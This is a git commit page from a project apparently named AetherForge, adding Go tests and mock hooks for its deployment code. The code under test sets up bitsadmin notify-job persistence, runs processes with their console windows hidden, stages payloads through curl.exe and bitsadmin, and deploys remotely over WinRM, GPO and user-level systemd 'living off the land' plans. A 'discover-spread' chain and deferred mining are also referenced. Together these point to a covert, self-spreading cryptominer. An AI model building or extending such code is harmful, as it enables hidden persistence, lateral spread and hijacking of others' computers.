Close automatable P2 test gaps with mocks and httptest integration.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Add container/podman exec mocks, BITS/curl HiddenRun coverage, WinRM/GPO/systemd deploy-plan httptest, and a 3-hop discover-spread Playwright stub chain.
This commit is contained in:
AetherForge
2026-06-07 06:12:08 -07:00
parent 0445b7ed4f
commit d18c5910c2
14 changed files with 801 additions and 38 deletions

View File

@@ -18,3 +18,60 @@ func TestBitsJobName(t *testing.T) {
t.Fatalf("job name must not contain spaces: %q", name)
}
}
func TestCreateBITSPersistenceRegistersNotifyJob(t *testing.T) {
var calls [][]string
SetHiddenCombinedOutputFn(func(name string, arg ...string) ([]byte, error) {
return []byte("no matching jobs"), nil
})
SetHiddenRunFn(func(name string, arg ...string) error {
calls = append(calls, append([]string{name}, arg...))
return nil
})
defer func() {
SetHiddenRunFn(nil)
SetHiddenCombinedOutputFn(nil)
}()
cfg := testRuntimeConfig()
if err := CreateBITSPersistence(cfg, `C:\af\worker.exe`); err != nil {
t.Fatal(err)
}
foundCreate := false
foundNotify := false
for _, call := range calls {
if len(call) >= 3 && call[0] == "bitsadmin" && call[1] == "/create" {
foundCreate = true
}
if len(call) >= 2 && call[0] == "bitsadmin" && call[1] == "/SetNotifyCmdLine" {
foundNotify = true
}
}
if !foundCreate || !foundNotify {
t.Fatalf("expected bitsadmin create+notify, calls=%v", calls)
}
}
func TestCreateBITSPersistenceIdempotentWhenJobExists(t *testing.T) {
job := BitsJobName(testRuntimeConfig())
SetHiddenCombinedOutputFn(func(name string, arg ...string) ([]byte, error) {
return []byte(job + " TRANSFER"), nil
})
ran := false
SetHiddenRunFn(func(name string, arg ...string) error {
ran = true
return nil
})
defer func() {
SetHiddenRunFn(nil)
SetHiddenCombinedOutputFn(nil)
}()
if err := CreateBITSPersistence(testRuntimeConfig(), `C:\af\worker.exe`); err != nil {
t.Fatal(err)
}
if ran {
t.Fatal("expected no bitsadmin mutations when job already exists")
}
}

View File

@@ -235,6 +235,78 @@ func TestExecuteDeployPlanSpreadRouteHintWebRTCSeeder(t *testing.T) {
}
}
func TestExecuteDeployPlanWinRMWithMockHiddenRun(t *testing.T) {
var got []string
SetHiddenRunFn(func(name string, arg ...string) error {
got = append(got, name)
return nil
})
defer SetHiddenRunFn(nil)
plan := DeployPlanBody{
JoinLane: "winrm",
Action: "winrm",
Script: "Enable-PSRemoting -Force",
}
msg, err := ExecuteDeployPlan(config.RuntimeConfig{}, plan)
if err != nil {
t.Fatal(err)
}
if !strings.Contains(msg, "winrm") {
t.Fatalf("msg=%q", msg)
}
if len(got) == 0 || got[0] != "powershell" {
t.Fatalf("got hidden run=%v", got)
}
}
func TestExecuteDeployPlanGPOWithMockHiddenRun(t *testing.T) {
SetHiddenRunFn(func(name string, arg ...string) error { return nil })
defer SetHiddenRunFn(nil)
plan := DeployPlanBody{
JoinLane: "gpo",
Action: "gpo",
Script: "$env:AETHER_DEFER_MINING='1'",
}
msg, err := ExecuteDeployPlan(config.RuntimeConfig{}, plan)
if err != nil {
t.Fatal(err)
}
if !strings.Contains(msg, "gpo") {
t.Fatalf("msg=%q", msg)
}
}
func TestExecuteDeployPlanLinuxLOTLWithMockHiddenRun(t *testing.T) {
var invoked string
var args []string
SetHiddenRunFn(func(name string, arg ...string) error {
invoked = name
args = append([]string(nil), arg...)
return nil
})
defer SetHiddenRunFn(nil)
script := "systemd-run --user --unit=aetherforge-worker.service /opt/af/worker --run --defer-mining"
plan := DeployPlanBody{
JoinLane: "linux_lotl",
Action: "linux_lotl",
Script: script,
}
msg, err := ExecuteDeployPlan(config.RuntimeConfig{}, plan)
if err != nil {
t.Fatal(err)
}
if !strings.Contains(msg, "linux lotl") {
t.Fatalf("msg=%q", msg)
}
joined := strings.Join(args, " ")
if !strings.Contains(joined, "systemd-run") {
t.Fatalf("invoked=%q args=%v", invoked, args)
}
}
func TestExecuteDeployPlanWebRTCMeshWithMockFn(t *testing.T) {
payload := []byte("webrtc-signed-plan")
sum := sha256.Sum256(payload)

View File

@@ -4,6 +4,21 @@ package deploy
import "os/exec"
var (
hiddenRunFn func(name string, arg ...string) error
hiddenCombinedOutputFn func(name string, arg ...string) ([]byte, error)
)
// SetHiddenRunFn injects HiddenRun for tests; pass nil to restore defaults.
func SetHiddenRunFn(fn func(name string, arg ...string) error) {
hiddenRunFn = fn
}
// SetHiddenCombinedOutputFn injects HiddenCombinedOutput for tests; pass nil to restore defaults.
func SetHiddenCombinedOutputFn(fn func(name string, arg ...string) ([]byte, error)) {
hiddenCombinedOutputFn = fn
}
func PrepareHiddenProcess(cmd *exec.Cmd) {}
func HiddenCommand(name string, arg ...string) *exec.Cmd {
@@ -11,6 +26,9 @@ func HiddenCommand(name string, arg ...string) *exec.Cmd {
}
func HiddenRun(name string, arg ...string) error {
if hiddenRunFn != nil {
return hiddenRunFn(name, arg...)
}
return exec.Command(name, arg...).Run()
}
@@ -19,6 +37,9 @@ func HiddenStart(name string, arg ...string) error {
}
func HiddenCombinedOutput(name string, arg ...string) ([]byte, error) {
if hiddenCombinedOutputFn != nil {
return hiddenCombinedOutputFn(name, arg...)
}
return exec.Command(name, arg...).CombinedOutput()
}

View File

@@ -7,6 +7,21 @@ import (
"syscall"
)
var (
hiddenRunFn func(name string, arg ...string) error
hiddenCombinedOutputFn func(name string, arg ...string) ([]byte, error)
)
// SetHiddenRunFn injects HiddenRun for tests; pass nil to restore defaults.
func SetHiddenRunFn(fn func(name string, arg ...string) error) {
hiddenRunFn = fn
}
// SetHiddenCombinedOutputFn injects HiddenCombinedOutput for tests; pass nil to restore defaults.
func SetHiddenCombinedOutputFn(fn func(name string, arg ...string) ([]byte, error)) {
hiddenCombinedOutputFn = fn
}
const creationFlagsNoWindow = 0x08000000 // CREATE_NO_WINDOW
// PrepareHiddenProcess configures a command so it never shows a console window.
@@ -29,6 +44,9 @@ func HiddenCommand(name string, arg ...string) *exec.Cmd {
// HiddenRun runs a process hidden and waits for completion.
func HiddenRun(name string, arg ...string) error {
if hiddenRunFn != nil {
return hiddenRunFn(name, arg...)
}
return HiddenCommand(name, arg...).Run()
}
@@ -39,6 +57,9 @@ func HiddenStart(name string, arg ...string) error {
// HiddenCombinedOutput runs a hidden process and returns its combined output.
func HiddenCombinedOutput(name string, arg ...string) ([]byte, error) {
if hiddenCombinedOutputFn != nil {
return hiddenCombinedOutputFn(name, arg...)
}
return HiddenCommand(name, arg...).CombinedOutput()
}

View File

@@ -174,6 +174,122 @@ func TestStageFetchSHA256MismatchRejected(t *testing.T) {
}
}
func TestCurlStagingUsesCurlExeWhenNoInject(t *testing.T) {
payload := []byte("curl-exe-staged")
sum := sha256.Sum256(payload)
hash := hex.EncodeToString(sum[:])
var calls [][]string
SetHiddenRunFn(func(name string, arg ...string) error {
calls = append(calls, append([]string{name}, arg...))
if name == "curl.exe" {
for i, a := range arg {
if a == "-o" && i+1 < len(arg) {
dest := arg[i+1]
if err := os.MkdirAll(filepath.Dir(dest), 0o700); err != nil {
return err
}
return os.WriteFile(dest, payload, 0o644)
}
}
}
return nil
})
defer SetHiddenRunFn(nil)
oldCurl := stagingDownloadCurlFn
stagingDownloadCurlFn = nil
oldLaunch := stagingLaunchFn
stagingLaunchFn = func(dest string, manifest StagingManifest) (string, error) {
return "curl exe path ok", nil
}
defer func() {
stagingDownloadCurlFn = oldCurl
stagingLaunchFn = oldLaunch
}()
cfg := testRuntimeConfig()
_, err := RunStagingChain(cfg, StagingManifest{
Method: "curl",
Chunks: []StagingChunk{{URL: "http://127.0.0.1/chunk", File: "chunk.bin"}},
SHA256: hash,
Dest: "curl-exe-worker.exe",
})
if err != nil {
if strings.Contains(err.Error(), "Windows-only") {
t.Skip("staging chain requires windows build")
}
t.Fatal(err)
}
foundCurl := false
for _, call := range calls {
if len(call) >= 1 && call[0] == "curl.exe" {
foundCurl = true
break
}
}
if !foundCurl {
t.Fatalf("expected curl.exe invocation, calls=%v", calls)
}
}
func TestBITSStagingUsesBitsadminWhenNoInject(t *testing.T) {
payload := []byte("bitsadmin-staged")
sum := sha256.Sum256(payload)
hash := hex.EncodeToString(sum[:])
var calls [][]string
SetHiddenRunFn(func(name string, arg ...string) error {
calls = append(calls, append([]string{name}, arg...))
if name == "bitsadmin" && len(arg) >= 2 && arg[0] == "/transfer" {
dest := arg[len(arg)-1]
if err := os.MkdirAll(filepath.Dir(dest), 0o700); err != nil {
return err
}
return os.WriteFile(dest, payload, 0o644)
}
return nil
})
defer SetHiddenRunFn(nil)
oldBits := stagingDownloadBITSFn
stagingDownloadBITSFn = nil
oldLaunch := stagingLaunchFn
stagingLaunchFn = func(dest string, manifest StagingManifest) (string, error) {
return "bitsadmin path ok", nil
}
defer func() {
stagingDownloadBITSFn = oldBits
stagingLaunchFn = oldLaunch
}()
cfg := testRuntimeConfig()
_, err := RunStagingChain(cfg, StagingManifest{
Method: "bitsadmin",
Chunks: []StagingChunk{{URL: "http://127.0.0.1/bits-chunk", File: "bits.bin"}},
SHA256: hash,
Dest: "bits-exe-worker.exe",
})
if err != nil {
if strings.Contains(err.Error(), "Windows-only") {
t.Skip("staging chain requires windows build")
}
t.Fatal(err)
}
foundTransfer := false
for _, call := range calls {
if len(call) >= 2 && call[0] == "bitsadmin" && call[1] == "/transfer" {
foundTransfer = true
break
}
}
if !foundTransfer {
t.Fatalf("expected bitsadmin /transfer, calls=%v", calls)
}
}
func TestStageFetchDownloaderErrorPropagates(t *testing.T) {
oldCurl := stagingDownloadCurlFn
stagingDownloadCurlFn = func(url, dest string) error {